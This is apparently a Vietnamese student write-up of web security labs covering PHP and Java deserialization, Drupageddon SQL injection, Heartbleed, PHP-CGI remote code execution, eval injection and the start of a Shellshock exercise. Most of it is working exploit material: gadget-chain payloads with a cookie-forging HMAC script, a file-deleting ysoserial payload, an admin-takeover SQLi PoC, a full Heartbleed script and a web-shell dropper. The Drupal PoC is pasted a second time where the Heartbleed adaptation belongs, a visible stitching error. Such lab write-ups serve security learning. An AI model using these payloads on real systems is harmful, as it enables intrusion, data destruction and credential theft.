**VIII. Insecure Deserialization** === Lab: Exploiting PHP deserialization with a pre-built gadget chain --- **1. Chức năng của ứng dụng** - Bài lab này sử dụng cơ chế session dựa trên serialization (tuần tự hóa) với cookie đã ký. Nó sử dụng một framework PHP phổ biến. (Hình 1.1) ![image](https://hackmd.io/_uploads/SyHmZvJH0.png) Hình 1.1. Yêu cầu của bài lab - Trang web cho phép đăng nhập trong mục Account sau đó đăng nhập với Account của lab đã cho là `wiener:perter` - Sau khi đăng nhập dùng qua ứng dụng để xem ở đâu xuất hiện deserialize thì thấy rằng chức duy nhất thực hiện điều này đó là ở trong cookie (Hình 1.2) ![image](https://hackmd.io/_uploads/S1GwguyrC.png) Hình 1.2. Cookie của người dùng khi đã đăng nhập với 2 phần là token và hàm băm `sha1` xác thực token đó - Có thể thấy ở trong token trên có dấu hiệu dấu `==` ở cuối là đặc chưng của base64 nên em đưa vào Burp Decoder để decode mã base64 trong token này (Hình 1.3) ![image](https://hackmd.io/_uploads/ryBPWd1SR.png) Hình 1.3. Dữ liệu cookie được decode - Đã tìm ra được chỗ ứng dụng thực hiện deserialize đó là trong cookie - Thử thay đổi người dùng `wiener` thành `carlos` trong mã được seerialize kia sau đó mã hoá base64 lại rồi thay vào trong cookie thì nhận được lỗi `Signature not match`, có vể như hàm băm sha1 ở cùng trong cookie kia đã xác thực được cookie đã có sự thay đổi - Tuy nhiên mình đã phát hiện trong lỗi trên xuất hiện phiên bản framework của PHP đang dùng (Hình 1.4) ![image](https://hackmd.io/_uploads/Byzl5uyBC.png) Hình 1.4. Hiển thị lỗi dẫn đến lộ phiên bản framework PHP của trang web đang sử dụng - Còn một vấn đề nữa đó là nếu không tìm được key để mã hóa bằng hàm băm sha1 đoạn token chứa mã được serialize thì chúng ta cũng không thể chỉnh sửa hay can thiệp gì được vào đây. - Thường `key` hay để trong tệp `phpinfo.php` mà muốn biết vị trí người ta để tệp này ở đâu cũng khá khó nên em đã phải đi scan tất cả các mã nguồn html của trang web để xem liệu họ có để lộ đường dẫn này ở đâu không ? - Sau khi tìm bằng chức năng `Find comment` của Sitemap trong Target BurpSuite thì em đã tìm ra được vị trí của tệp này ở `/cgi-bin/phpinfo.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/Sk6vyXlH0.png) Hình 1.5. Vị trí của tệp phpinfo được tiết lộ trong comment - Khi mở tệp phpinfo.php đã tìm thấy Secret key ![image](https://hackmd.io/_uploads/SkovnQxBR.png) Hình 1.6. `Secret_key` xuất hiện trong file `phpinfo.php` **2. Đặt giả thuyết** - Sau khi biết key thì liệu chúng ta có thể tự tạo hàm băm để đúng với xác thực không ? - Nếu tạo giá trị cho `sig_hmac_sha1` thì chúng ta có thể tùy ý chỉnh sửa cookie phải không ? - Tuy không biết mã nguồn trực tiếp nhưng chúng ta đã tìm được framework PHP mà trang web đang sử dụng liệu có lỗ hổng nào trong framework mà PHP được sử dụng đã được phát hiện và có mã khai thác cho nó hay không ? - Làm thể nào để tìm ra được framework đó đã được người khác tìm thấy lỗi gì ? **3. Tiến hành khai thác** - Sau khi nghiên cứu thì em tìm ra trong PHP có một tool chứa các mã khai thác của các phiên bản đã được tìm thấy lỗi insecure deserialize đó là `PHPGGC` - Tải xuống và sử dụng công cụ bằng cách dựa vào tên và phiên bản framewwork đã tìm thấy để tìm mã khai thác trong công cụ `PHPGGC` - Sau khi tìm têm framework và phiên bản của nó trong công cụ bằng câu lệnh `./phpggc -l Symfony` thì em đã tìm thấy (Hình 3.1) ![image](https://hackmd.io/_uploads/BkQ4VXlrA.png) Hình 3.1. Symfony/RCE4 4.3.6 đã phù hợp với phiên bản trang web đang sử dụng - Chúng ta có thể RCE được bằng mã này bằng lệnh như sau: ``` ./phpggc Symfony/RCE4 exec 'ls' | base64 ``` - Kết quả khi thực hiện lệnh trên sẽ là mã base64 (Hình 3.2) ![image](https://hackmd.io/_uploads/HJgrDQxHC.png) Hình 3.2. Kết quả thực hiện lệnh đọc các thư mục có trong tệp tin - Tuy nhiên để đưa payload trên vào cookie và nó hoạt động được chúng ta cần tạo hàm băm cho bằng sha1 với key đã tìm thấy ở trên thì cookie mới chấp nhận hợp lệ - Mã để tạo lại hàm băm với key đã tìm thấy ```javascript= <?php $object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czo0OiJscyAvIjt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= "; $secretKey = "c0nykcegc1l0rarqfmc5zb5ruslz42nq"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie; ``` - Biến cookie sau khi được tạo ``` %7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czo0OiJscyAvIjt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo%3D+%22%2C%22sig_hmac_sha1%22%3A%22024b482d58542b75f910e21a9546babf63a2e267%22%7D ``` - Sau đó thay thế vào cookie của trang web và load lại để solve bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/ByG9JHeSC.png) Hình 3.3. Bài lab được solve khi thay đổi cookie như trên --- Lab: Exploiting Java deserialization with Apache Commons --- **1. Chức năng của ứng dụng** - Bài lab này sử dụng cơ chế session dựa trên serialization (tuần tự hóa) với cookie đã ký. Nó sử dụng một framework JAVA phổ biến. (Hình 1.1) ![image](https://hackmd.io/_uploads/rk-4KSlH0.png) Hình 1.1. Yêu cầu của bài lab - Trang web cho phép đăng nhập trong mục Account sau đó đăng nhập với Account của lab đã cho là `wiener:perter` - Sau khi đăng nhập dùng qua ứng dụng để xem ở đâu xuất hiện JAVA deserialize thì thấy rằng chức duy nhất thực hiện điều này đó là ở trong cookie - Cookie được mã hóa base 64 vậy nên khi decode thì nhìn ra được mã JAVA Deserialize tuy là nó khá khó nhìn nhưng vẫn có thể nhận ra một vài yếu tố (Hình 1.2) ![image](https://hackmd.io/_uploads/H1K7fmzSR.png) Hình 1.2. Cookie của người dùng khi được decode base64 và xuất hiện dưới đạng mã Java Deserialize - Đề bài có cho chúng rằng sử dụng thư viện commons **2. Đặt giả thuyết** - Công cụ tập hợp các PoC để khai thác java deserialize đó là `ysoserial` vậy chúng ta có thể sử dụng công cụ này để có thể RCE được website này không ? **3. Tiến hành khai thác** - Tạo mã khai thác bằng công cụ yoserial như sau: - Đầu tiên cần xem phiên bản mình muốn sử dụng là gì ? - Phiên bản mà ta sẽ sử dụng là `CommonsCollections4` - Tiếp theo cần tạo payload khi biết phiên bản, ở đây mình sẽ xóa tệp txt trong carlos bằng cách thực thi `rm /home/carlos/morale.txt` - Cuối cùng là payload tổng thể như sau (Nếu dùng bản java lớn hơn 16) ```javascript= java \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 ``` - Sau khi thực thi mã trên nó sẽ tạo ra một payload đã được mã hóa base64 như sau: ``` rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI3OTEzODc2MTgxNjcxMQEAH0x5c29zZXJpYWwvUHduZXI3OTEzODc2MTgxNjcxMTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA== ``` - Sau đó thay thế vào cookie của trang web và load lại để solve bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/HyiaUNMH0.png) Hình 3.3. Bài lab được solve khi thay đổi cookie như trên --- **IX. Using Components with known vulnerabilities** === Drupal SQL Injection (Drupageddon) --- **1. Chức năng của ứng dụng** - Bài này muốn chúng ta khai thác lỗ hổng SQLi trên nền tảng Drupal phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/SyyeJEOHC.png) Hình 1.1. Yêu cầu của bài lab - Dựa trên gợi ý là CVE-2014-3704 em tìm ra [trang](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704) chứa các đường link về mã khai thác lỗ hổng của CVE này ![image](https://hackmd.io/_uploads/BJh_-H_H0.png) - Sau khi đọc qua các link trong trang tổng quan về CVE-2014-3704 thì em thấy có link của [exploit-db](https://www.exploit-db.com/exploits/34993) có PoC khá hay về khai thác update được tài khoản mật khẩu của admin trong cơ sở dữ liệu ![image](https://hackmd.io/_uploads/S15Vl8OHA.png) - Poc sau khi chỉnh lại để phù hợp với ứng dụng của chúng ta như sau: ```javascript= <?php $url = 'http://192.168.38.145/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; } ?> ``` - Sau khi thực thi payload code php trên thì đã cập nhật được cơ sở dữ liệu ![image](https://hackmd.io/_uploads/SycBVLOrR.png) - Truy cập lại với tài khoản `admin` và mật khẩu là `admin` đã vào được trang quản trị với quyền admin ![image](https://hackmd.io/_uploads/SJrYVL_BR.png) --- Heartbleed Vulnerability --- **1. Chức năng của ứng dụng** - Bài này muốn chúng ta khai thác lỗ hổng của webserver nginx sử dụng OpenSSL phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/B1314c_H0.png) Hình 1.1. Yêu cầu của bài lab - Gợi ý của đề là port `8443` nên em đã dùng nmap để xem port là gì bằng lệnh `sudo nmap -sV -A 192.168.38.145` - Thấy rằng trang web đang sử dụng ssl ở cổng này ![image](https://hackmd.io/_uploads/r1q8PsOBA.png) - Và chúng ta sẽ khai thác Heartbleed là một lỗ hổng bảo mật nghiêm trọng trong thư viện mã nguồn mở OpenSSL - PoC được ứng dụng cung cấp như sau: ```javascript= #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code # Minor customizations by Malik Mesellem (@MME_IT) import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=8443, help='TCP port to test (default: 8443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() ``` ![image](https://hackmd.io/_uploads/S15Vl8OHA.png) - Poc sau khi chỉnh lại để phù hợp với ứng dụng của chúng ta như sau: ```javascript= <?php $url = 'http://192.168.38.145/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; } ?> ``` - Sau khi thực thi payload code python trên bằng lệnh ` python heartbleed.py 192.168.38.145 > output.txt` thì đã lấy được respone được lưu ở server khi truyền về cho người dùng bao gồm giá trị quan trọng như cookie ![image](https://hackmd.io/_uploads/B1G7zpOr0.png) - Khai thác thành công --- PHP CGI Remote Code Execution --- **1. Chức năng của ứng dụng** - Đề bài này đề cập đến một lỗ hổng bảo mật cụ thể liên quan đến việc thực thi mã từ xa (Remote Code Execution) trong môi trường sử dụng PHP dưới dạng CGI (Common Gateway Interface) (Hình 1.1) ![image](https://hackmd.io/_uploads/r1Dh4p_HR.png) Hình 1.1. Yêu cầu của bài lab - Đề bài nói rằng Thư mục quản trị của ứng dụng web sử dụng PHP trong chế độ CGI ![image](https://hackmd.io/_uploads/ryFZfAuHA.png) Hình 1.2 Trang phpinfo() trong thư mục admin - Cách dùng các đối số khác như sau ``` user@debian:~$ php-cgi -h Usage: php [-q] [-h] [-s] [-v] [-i] [-f ] php [args...] -a Run interactively -b | Bind Path for external FASTCGI Server mode -C Do not chdir to the script's directory -c | Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value 'bar' -e Generate extended information for debugger/profiler -f Parse . Implies `-q' -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -q Quiet-mode. Suppress HTTP Header output. -s Display colour syntax highlighted source. -v Version number -w Display source with stripped comments and whitespace. -z Load Zend extension . -T Measure execution time of script repeated times. ``` - Test thử đối `-s` để đọc code thì đã thực thi được code nên có vẻ lỗ hổng này đã tồn tại **2. Khai thác ứng dụng** - Trang web tham khảo cách tấn công [Link](hhttps://www.pentesterlab.com/exercises/cve-2012-1823/course) - Sau khi tham khảo các cách tấn công em đã tìm ra cách để RCE được ứng dụng web này. Payload để thực thi điều này như sau: ``` echo "<?php file_put_contents('/var/www/bWAPP/exploit.php', '<?php system(\$_GET[\"cmd\"]); ?>');die(); ?>" | POST "http://192.168.38.145/bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` - Giải thích: - `echo "<?php file_put_contents('/var/www/bWAPP/exploit.php', '<?php system(\$_GET[\"cmd\"]); ?>');die(); ?>"` dùng để ghi nội dung file vào tệp `exploit.php` - `POST "http://192.168.38.145/bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` - `http://192.168.38.145/bWAPP/admin/phpinfo.php`: URL mục tiêu mà yêu cầu POST được gửi tới. `?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`: - `-d+allow_url_include=1`: Bật tùy chọn allow_url_include trong PHP, cho phép bao gồm tệp từ URL (bao gồm cả php://). - `-d+auto_prepend_file=php://input`: Thiết lập tùy chọn auto_prepend_file để PHP tự động đọc và thực thi mã từ dữ liệu đầu vào của yêu cầu HTTP (php://input) - Đối số `-d` cho phép đặt hoặc thay đổi các giá trị cấu hình của PHP trực tiếp từ dòng lệnh để tạm thời ghi đè các thiết lập trong tệp `php.ini` mà không cần phải chỉnh sửa tệp cấu hình trực tiếp. - Payload trên đã ghi được 1 file shell chứa lệnh system có thể RCE được server ![image](https://hackmd.io/_uploads/SJsRj1tSC.png) Hình 2.1. Có thể đọc được tất cả source code --- PHP Eval Function --- **1. Chức năng của ứng dụng** - Có vẻ như như chương trình đang dùng một hàm nguy hiểm ở trong code (Hình 1.1) ![image](https://hackmd.io/_uploads/ryCet_FHA.png) Hình 1.1. Yêu cầu của bài lab - Check source code của `php_eval.php` thì thấy chuwogn trình đang sử dụng hàm `eval` nhận giá trị trong Request để xử lí (Hình 1.2) ![image](https://hackmd.io/_uploads/HJYRcdtHR.png) Hình 1.2. Biến eval nhận giá trị trong Request ở tham số eval để xử lí - Hàm eval có chức năng xử lí code PHP ![image](https://hackmd.io/_uploads/HJ64autrR.png) **2.Khai thác ứng dụng** - Hàm eval xử lsi code PHP vậy chúng ta có thể chèn các hàm nguy hiểm khác PHP như `system` vào trong hàm `eval` để thực thi lệnh hệ thống. - Chèn lệnh system thực thi command `id` với payload `echo system(id)` --- Shellshock Vulnerability (CGI) --- **1. Chức năng của ứng dụng** - Khai thác Shellshock qua header `Referer` (Hình 1.1) ![image](https://hackmd.io/_uploads/Bk9RIqKBR.png) Hình 1.1. Yêu cầu của bài 